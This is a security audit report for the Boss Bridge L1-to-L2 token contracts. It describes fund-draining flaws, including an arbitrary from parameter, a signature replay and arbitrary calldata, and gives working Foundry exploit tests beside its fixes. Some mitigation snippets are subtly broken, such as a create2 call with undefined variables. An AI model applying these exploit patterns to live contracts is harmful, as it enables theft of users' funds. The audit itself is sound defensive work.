Boss Bridge Audit Report

Prepared by: Jack Landon

Prepared by: Jack Landon on 2024-08-22 Lead Auditor:

- Jack Landon

Table of Contents

  - [I-3] The `L1Vault::approveTo` function is redundant, and the internal logic should be moved to the `L1Vault::constructor` to prevent unwanted calls, save on gas and improved code readability.
  - [I-4] The `L1BossBridge::depositTokensToL2` function doesn't follow the Checks-Effects-Interactions pattern, and whilst not critical - should be updated to follow this pattern.

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Token Compatibility

For the moment, assume *only* the `L1Token.sol` or copies of it will be used as tokens for the bridge. This means all other ERC20s and their weirdness is considered out-of-scope.

On withdrawals

The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Disclaimer

Jack Landon makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

	Impact

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    - L1BossBridge.sol
    - L1Token.sol
    - L1Vault.sol
    - TokenFactory.sol
  - ZKSync Era:
    - TokenFactory.sol
  - Tokens:
    - L1Token.sol (And copies, with different names & initial supplies)

Actors/Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Known Issues

- We are aware the bridge is centralized and owned by a single user, aka it is centralized.
- We are missing some zero address checks/input validation intentionally to save gas.
- We have magic numbers defined as literals that should be constants.
- Assume the `deployToken` will always correctly have an L1Token.sol copy, and not some weird erc20

Executive Summary

Most of the issues in the Boss Bridge protocol come from not vetting the `data` input used for meta-transactions.

These are relatively simple fixes to make through changing function visibilities and adding checks. However it's absolutely critical this is done as without them, the protocol is likely to be drained of funds by malicious actors.

The other key issue is that the selected L2 network (zkSync) does not allow from the `TokenFactory` contract to deploy tokens due to EVM compatibility issues. This needs to be addressed also, as it's a critical part of the process which won't work as intended and will brick the protocol.

Issues found

Severity	Number of Issues Found
HIGH	5
MEDIUM	0
LOW	0
INFORMATIONAL	4
Gas	1
TOTAL	10

Findings

High Severity

[H-1] Arbitrary `from` parameter in `L1BossBridge::depositTokensToL2` function allows attacker to steal funds from prior approved addresses to assign funds to any address (including their own) on L2

Description: As the `L1BossBridge::depositTokensToL2` has an unchecked `from` parameter, which is used for `safeTransferFrom`, the only defence from entering another address is whether the tokens have been approved to be sent from the bridge.

As addresses will often approve the bridge to send tokens to the L2, an attacker can use prior addresses that have engaged with the bridge to steal funds from the approved address and send them to their own address on L2.

Impact: This vulnerability has a critical impact on the security of the bridge, as it's a simple process to steal funds from other wallets, with minimal effort.

So without being fixed, this would be an almost-certainty that funds would be stolen as a result of sloppy checks.

Proof of Concept:

In the `L1TokenBridge.t.sol` file, we can create a proof of code demonstrating how the vulnerability could take place, using the following steps:

1. Alice approves the **bridge** to send 10 tokens to the vault.
2. The attacker sees this approval, and calls the `depositTokensToL2` function, using Alice's address as the `from` parameter, and their own `attacker` address as the `to` parameter.
    1. We expect the event emission (which sets the mint logic on L2) to be emitted, where `alice` deposits for the `attacker` to mint on L2.
3. We compare Alice's token balance from **before** the attacker called `depositTokensToL2` to after, and we notice that Alice's balance has now decreased to 0 without her calling any deposit function.
4. Assert that the `vault` now holds the 10 tokens that Alice approved to send to the bridge.

▶ Proof Of Code

```
    function testArbitraryFromParamInDeposit() public {
        address alice = makeAddr("alice");
        vm.startPrank(alice);

        uint256 depositAmount = 10e18;
        deal(address(token), alice, depositAmount);
        token.approve(address(tokenBridge), depositAmount);

        vm.stopPrank();

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);

        uint256 aliceBalanceBefore = token.balanceOf(alice);
        uint256 attackerBalanceBefore = token.balanceOf(attacker);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(alice, attacker, depositAmount);

        tokenBridge.depositTokensToL2(alice, attacker, depositAmount);

        uint256 aliceBalanceAfter = token.balanceOf(alice);
        uint256 attackerBalanceAfter = token.balanceOf(attacker);

        assert(aliceBalanceBefore > aliceBalanceAfter);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation:

Instead of using a `from` parameter in the `L1BossBridge::depositTokensToL2` function, use `msg.sender` instead, so that the caller can send tokens only from **their own** address.

```
-   function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
+   function depositTokensToL2(address l2Recipient, uint256 amount)
external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the
corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-2] The `L1BossBridge::constructor` alongside the `L1BossBridge::depositTokensToL2` function allows for someone to mint infinite tokens on L2

Description: As the `L1BossBridge::constructor` function sets the allowance on the `token` for the `L1BossBridge` to spend `type(uint256).max` on behalf of the vault, the mentioned vulnerability in the `depositTokensToL2` function allows for an attacker to mint infinite tokens on L2:

```
vault.approveTo(address(this), type(uint256).max);
```

Anyone can call the `depositTokensToL2` function, using the `from` parameter as the vault address, and the `to` parameter as their own address, to mint infinite tokens on L2.

The effect is essentially the vault depositing to itself, so there's no limit to the amount of times someone can call and enter the vault's token balance as the `amount` parameter in the `depositTokensToL2` function.

Impact: This vulnerability has a critical impact on the functionaly of the bridge, as it's a simple process to mint infinite tokens on L2, with minimal effort and would therefore be very likely.

Proof of Concept:

1. Assign some balance to the vault, through `deal`,
2. Call the `depositTokensToL2` function, using the vault address as the `from` parameter, and the attacker's address as the `to` parameter.
    1. Expect the event emission to be emitted, where the vault deposits it's entire balance amount for the attacker to mint on L2.

3. Check that the vault's balance before and after the attack doesn't change, proving that this function can be called as many times as the attacker wants.

▶ Proof Of Code

```
    function testTransferFromVault() public {
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        uint256 vaultBalanceBefore = token.balanceOf(address(vault));

        // We can loop this and keep minting tokens on the L2
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
vaultBalance);

        uint256 vaultBalanceAfter = token.balanceOf(address(vault));

        assertEq(vaultBalanceBefore, vaultBalanceAfter);
    }
```

Recommended Mitigation: Fix the arbitrary `from` parameter in the `depositTokensToL2` function:

```
-   function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
+   function depositTokensToL2(address l2Recipient, uint256 amount)
external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the
corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

This alone will allow the `constructor` to have approval to spend as many tokens from the vault, in the form of approvals when someone calls the `sendToL1` function.

[H-3] Lack of signature prevention in the `L1BossBridge::sendToL1` function means that someone can call the function many times using an existing verified signature by a signature replay attack

Description: Since all verified signatures are stored on chain for past transactions of `L1BossBridge::sendToL1`, it's important that they not be able to be used again without going through the proper means.

If an attack can get a hold of the verified `v`, `r`, and `s` params, they can keep calling:

```
tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
```

using existing verified params. This would allow the attacker to keep sending tokens back to L1, without having to go through the proper means of getting a new signature.

Impact: This is a critical bug, as it allows someone to drain the vault of tokens, without having to go through the proper means of getting a new signature.

Proof of Concept: To demonstrate the validity of executing a signature replay attack, we can use the following steps:

1. Assume the vault already holds some tokens.
2. The attacker deposits tokens to L2.
3. The attacker gets the signature from the operator.
4. The attacker notes the `v`, `r` and `s` signature from the previous call, and keeps calling the `withdrawTokensToL1` function using the same signature.
5. The attacker drains the vault of all tokens.
6. Assert that the attacker's balance is equal to the sum of the vault's initial balance, plus the attacker's initial balance.
7. Assert that the vault's balance is now 0.

▶ Proof of Code

```
    function testSignatureReplay() public {
        address attacker = makeAddr("attacker");

        // Assume the vault already holds some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;

        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), attacker, attackerInitialBalance);

        // an attacker deposits token to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);

        // Do it 1 time to get the signature
        tokenBridge.depositTokensToL2(attacker, attacker,
attackerInitialBalance);

        // Signer/Operator is going to sign the witdrawal
        bytes memory message = abi.encode(address(token), 0,
abi.encodeCall(IERC20.transferFrom, (address(vault), attacker,
attackerInitialBalance)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
MessageHashUtils.toEthSignedMessageHash(keccak256(message)));

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(attacker), attackerInitialBalance +
vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Add some 1-time-used data parameter in the `L1BossBridge::sendToL1` function that allows it to only be used once. A common example is to include the `nonce` in the `message`.

[H-4] The `TokenFactory::deployToken` function uses opcodes which are incompatible with `zkSync`, which will prevent the contract from being deployed on one of the scoped L2 network

Description: The zkSync network *requires* that the bytecode of the contract is known **beforehand** when deploying a token contract.

In the `TokenFactory::deployToken` function, the `create` opcode is used to deploy the token contract, where the bytecode is *not* known beforehand.

This can be understood more deeply in the zkSync documentation, where it states that the bytecode must be known beforehand.

Impact: This is a critical bug, as it prevents the contract from being deployed on one of the scoped L2 networks. It's guaranteed to be an issue, and will prevent token contracts from being deployed on the zkSync network.

Recommended Mitigation: To fix this, the `TokenFactory::deployToken` function can use a solution similar to the one suggested in the zkSync docs.

This uses the `create2` opcode, and adds the the bytecode so that it is known beforehand.

```
    function deployToken(string memory symbol, bytes memory
contractBytecode) public onlyOwner returns (address addr) {
        bytes memory contractBytecode = type(MyContract).creationCode;
+       assembly {
+           addr := create2(0, add(contractBytecode, 32), mload(bytecode),
salt)
+       }
-       assembly {
-           addr := create(0, add(contractBytecode, 0x20),
mload(contractBytecode))
-       }
```

```
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

[H-5] The `public L1BossBridge::sendToL1` function allows anyone to call the function and input an arbitrary `data` parameter, which could call the `L1Vault::approveTo` function, and approve the bridge to spend an arbitrary amount of tokens to the attacker.

Description: Since there is no validation on the `data` parameter used in the `L1BossBridge::sendToL1` function, anyone can call it and put whatever they want in the `data` parameter.

This includes approving an attackers contract to have the authority to spend tokens on behalf of the vault through accessing the `L1Vault::approveTo` function.

Impact: This is a critical security issues, as all of the funds could be drained from the vault, and anyone could do this using a verified signature.

Recommended Mitigation:

A simple way to prevent this from happening is to change the visibility of the `sendToL1` function from `public` to `private` and only allowing the `L1BossBridge::withdrawTokensToL1` to access it:

```diff
-   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
public nonReentrant whenNotPaused {
+   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
private nonReentrant whenNotPaused {
        .
        .
        .
    }
```

This means that only vetted specific `data` will be sent to the `sendToL1` function, and not arbitrary data that could cause funds from being drained.

Gas Optimization

[G-1] The `L1BossBridge::sendToL1` function is susceptible to a gas-bomb, leader signers to pay lots of gas to execute unpredictable logic

Description: In the `L1BossBridge::sendToL1` function, there is no validation of the `data` variable which is called on this line:

```
(bool success,) = target.call{ value: value }(data);
```

Since data can be any arbitrary data inputted by a user, anything could be put in this. As the signer will pay the gas on that, some malicious users could fill this with a gas-intensive operation, causing the signer to pay a lot of gas for no reason.

Impact: This won't massively disrupt the functionality or security of the contract, but it will cause the signer to pay a lot of gas for no reason.

Recommended Mitigation: Perhaps users can only interract with this function through the `L1BossBridge::withdrawTokensToL1` function, which calls `sendToL1` internally with pre-defined data.

To prevent the gas-bomb from someone passing arbitrary `data` value, change the `sendToL1` function visibility from `public` to `private`:

```
-   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
public nonReentrant whenNotPaused {
+   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
private nonReentrant whenNotPaused {
        .
        .
        .
    }
```

Informational Findings

[I-1] Make immutable `storage` variables `constant` or `immutable` to save on gas and prevent unlikely security issues.

Description: If a storage variable should never change over the lifecycle of the contract, it should be marked as `constant` or `immutable`.

If the value is known *before* the deployment of the contract, it should be marked `constant`. If the value will be assigned in the contract `constructor`, mark it as `immutable`.

Impact: This won't have any impact on the functionality of the contract, but it will save on gas costs and prevent any unlikely security issues.

Recommended Change:

In the `L1BossBridge` contract, the `DEPOSIT_LIMIT` variable should be marked as `constant`:

```
-   uint256 public DEPOSIT_LIMIT = 100_000 ether;
+   uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

In the `L1Vault` contract, the `token` storage variable should be marked `immutable`:

```
-   IERC20 public token;
+   IERC20 public immutable token;
```

[I-2] The `TokenFactory::getTokenAddressFromSymbol` function isn't called from the contract, and should therefore be marked `external`.

Description: If a contract isn't called from inside the contract, it should be marked as `external` to save on gas costs, and prevent any unpredictable internal calls.

Recommended Mitigation:

Change the `public` keyword to `external` in the `TokenFactory::getTokenAddressFromSymbol` function:

```
-   function getTokenAddressFromSymbol(string memory symbol) public view
returns (address addr) {
+   function getTokenAddressFromSymbol(string memory symbol) external view
returns (address addr) {
        return s_tokenToAddress[symbol];
    }
```

[I-3] The `L1Vault::approveTo` function is redundant, and the internal logic should be moved to the `L1Vault::constructor` to prevent unwanted calls, save on gas and improved code readability.

Description: Since this function will only be called once by the `L1BossBridge` on contract deployment, it's unneccessary to keep.

Impact: This has no impact on the functionality of the contract, but it will save on gas costs and prevent any unwanted calls.

Recommended Change: Firstly, add the `approveTo` logic to the `constructor`. Since it's only the `L1BossBridge` contract that calls this, and calls it with these parameters:

```
vault.approveTo(address(this), type(uint256).max);
```

then, let's use these values. It's also worth noting that the `token.approve` function's returned `bool` value should be checked, and if not then we should add the custom error `L1Vault__ApproveFailed` to revert if the approval fails.

```
+   error L1Vault__ApproveFailed();
    .
    .
    .
    constructor(IERC20 _token) Ownable(msg.sender) {
        token = _token;
+       bool succeeded = _token.approve(msg.sender, type(uint256).max);
+       if (!succeeded) revert L1Vault__ApproveFailed();
    }
    .
    .
    .
-   function approveTo(address target, uint256 amount) external onlyOwner
```

```
{
-        token.approve(target, amount);
-    }
```

And as shown, the `approveTo` function can be removed.

As the `L1BossBridge` also calls this `approveTo` function, i should also be removed from the constructor, as this logic happens automatically on contract creation now:

```
    constructor(IERC20 _token) Ownable(msg.sender) {
        token = _token;
        vault = new L1Vault(token);
        address(this) as the from address
-        vault.approveTo(address(this), type(uint256).max);
    }
```

[I-4] The `L1BossBridge::depositTokensToL2` function doesn't follow the Checks-Effects-Interactions pattern, and whilst not critical - should be updated to follow this pattern.

Description: The Checks-Effects-Interactions pattern is a best practice in Solidity, and should be followed to prevent any unwanted re-entrancy attacks.

In this case, the `Deposit` event is emitted *after* the `safeTransferFrom` function is called.

Impact: This won't have a material impact on the functionality or security of the contract, but it's a best practice to follow the Checks-Effects-Interactions pattern.

Recommended Change: In the `L1BossBridge::depositTokensToL2` function, move the `emit Deposit` line above the `token.safeTransferFrom` line:

```
    function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+        emit Deposit(from, l2Recipient, amount);
        token.safeTransferFrom(from, address(vault), amount);

-        emit Deposit(from, l2Recipient, amount);
    }
```